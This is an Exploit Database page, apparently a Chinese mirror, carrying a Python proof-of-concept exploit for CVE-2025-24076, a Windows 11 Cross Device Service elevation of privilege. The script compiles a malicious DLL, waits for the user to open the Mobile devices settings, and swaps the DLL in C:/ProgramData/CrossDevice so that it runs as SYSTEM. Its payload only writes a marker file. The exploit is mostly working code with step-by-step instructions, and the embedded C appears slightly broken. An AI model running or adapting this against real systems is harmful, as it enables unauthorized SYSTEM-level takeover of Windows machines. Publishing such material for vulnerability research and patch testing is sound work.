Microsoft Windows 11 Version 24H2 Cross Device Service – Elevation of Privilege

Exploit Database
4 阅读

作者： Mohammed Idrees Banyamer

日期： 2025-06-09
类别：
- local
平台：
- windows
来源：https://www.exploit-db.com/exploits/52320/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

#!/usr/bin/env python3

# Exploit Title: Microsoft Windows 11 Version 24H2 Cross Device Service - Elevation of Privilege

# Author: Mohammed Idrees Banyamer

# Instagram: @banyamer_security

# GitHub: https://github.com/mbanyamer

# Date: 2025-06-06

# Tested on: Windows 11 Version 24H2 for x64-based Systems (10.0.26100.3476)

# CVE: CVE-2025-24076

# Affected Versions:

# - Windows 11 Version 24H2 (x64 and ARM64)

# - Windows 11 Version 23H2 (x64 and ARM64)

# - Windows 11 Version 22H2 (x64 and ARM64)

# - Windows Server 2025

# - Windows Server 2022 23H2 (Server Core installation)

# Type: Elevation of Privilege

# Platform: Microsoft Windows

# Author Country: Jordan

# CVSS v3.1 Score: 7.3 (Important)

# Weakness: CWE-284: Improper Access Control

# Attack Vector: Local

# Privileges Required: Low

# User Interaction: Required

# Scope: Unchanged

# Confidentiality, Integrity, Availability Impact: High

# Exploit Code Maturity: Unproven

# Remediation Level: Official Fix

# Description:

# This vulnerability affects Microsoft Windows 11 (various versions including 24H2, 23H2, and 22H2)

# and Windows Server 2025. It targets improper access control in the Windows Cross Device Service,

# allowing a low-privileged local attacker to overwrite a critical DLL file (CrossDevice.Streaming.Source.dll)

# in a writable directory. After triggering user interaction by opening Windows "Mobile devices" Settings,

# the attacker can replace the DLL with a malicious version, leading to SYSTEM privilege escalation.

# Steps of exploitation:

# 1. Verify the presence of the vulnerable DLL in the writable directory.

# 2. Build a malicious DLL that executes code with SYSTEM privileges upon loading.

# 3. Backup the original DLL to allow recovery.

# 4. Trigger the DLL load by instructing the user to open the "Mobile devices" Settings page.

# 5. Wait until the DLL is unlocked and replace it with the malicious DLL.

# 6. Achieve SYSTEM privileges when the system loads the malicious DLL.

# This exploit requires low privileges and user interaction but has low attack complexity

# and results in high impact due to full privilege escalation.

import os

import shutil

import time

from pathlib import Path

import subprocess

# Target DLL name based on vulnerability research

DLL_NAME = "CrossDevice.Streaming.Source.dll"

TARGET_PATH = Path("C:/ProgramData/CrossDevice")

MALICIOUS_DLL = Path("malicious.dll")

BACKUP_ORIGINAL_DLL = Path("original_backup.dll")

# C source code for malicious DLL

MALICIOUS_C_CODE = r'''

#include <windows.h>

#include <stdio.h>

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {

if (fdwReason == DLL_PROCESS_ATTACH) {

FILE *file = fopen("C:\\poc_only_admin_can_write_to_c.txt", "w");

if (file) {

fputs("Exploit succeeded! You have SYSTEM privileges.\n", file);

fclose(file);

}

return TRUE;

}

'''

def build_malicious_dll():

print("[*] Building malicious DLL from C source...")

c_file = Path("malicious.c")

# Write C source code to file

with open(c_file, "w") as f:

f.write(MALICIOUS_C_CODE)

# Compile DLL using gcc (MinGW)

compile_cmd = [

"gcc", "-shared", "-o", str(MALICIOUS_DLL), str(c_file),

"-Wl,--subsystem,windows"

]

try:

subprocess.run(compile_cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

print(f"[+] Malicious DLL built successfully: {MALICIOUS_DLL}")

# Clean up C source file

c_file.unlink()

return True

except subprocess.CalledProcessError as e:

print("[!] Failed to build malicious DLL.")

print("gcc output:", e.stderr.decode())

return False

def is_vulnerable():

if not TARGET_PATH.exists():

print("[!] Target directory not found.")

return False

dll_path = TARGET_PATH / DLL_NAME

if not dll_path.exists():

print("[!] Target DLL not found.")

return False

print("[+] System appears vulnerable, DLL found in a writable path.")

return True

def backup_original():

dll_path = TARGET_PATH / DLL_NAME

backup_path = TARGET_PATH / BACKUP_ORIGINAL_DLL

shutil.copyfile(dll_path, backup_path)

print(f"[+] Backup created at: {backup_path}")

def replace_with_malicious():

dll_path = TARGET_PATH / DLL_NAME

try:

shutil.copyfile(MALICIOUS_DLL, dll_path)

print("[+] Successfully replaced the DLL with malicious version.")

return True

except PermissionError:

print("[!] Cannot write to DLL. Make sure the process using it is stopped.")

return False

def monitor_and_replace():

dll_path = TARGET_PATH / DLL_NAME

print("[*] Monitoring DLL until it is unlocked...")

while True:

try:

with open(dll_path, 'rb+') as f:

print("[+] File is unlocked. Attempting replacement...")

time.sleep(0.5)

return replace_with_malicious()

except PermissionError:

time.sleep(0.5)

def trigger_com():

print("[*] To trigger DLL load, please open Windows Settings -> Mobile devices")

input("[*] After opening Settings, press Enter to continue...")

def main():

if not build_malicious_dll():

return

if not is_vulnerable():

return

backup_original()

trigger_com()

success = monitor_and_replace()

if success:

print("[✓] Exploit completed successfully. Check results (e.g., C:\\poc_only_admin_can_write_to_c.txt).")

else:

print("[✗] Exploit failed.")

if __name__ == "__main__":

main()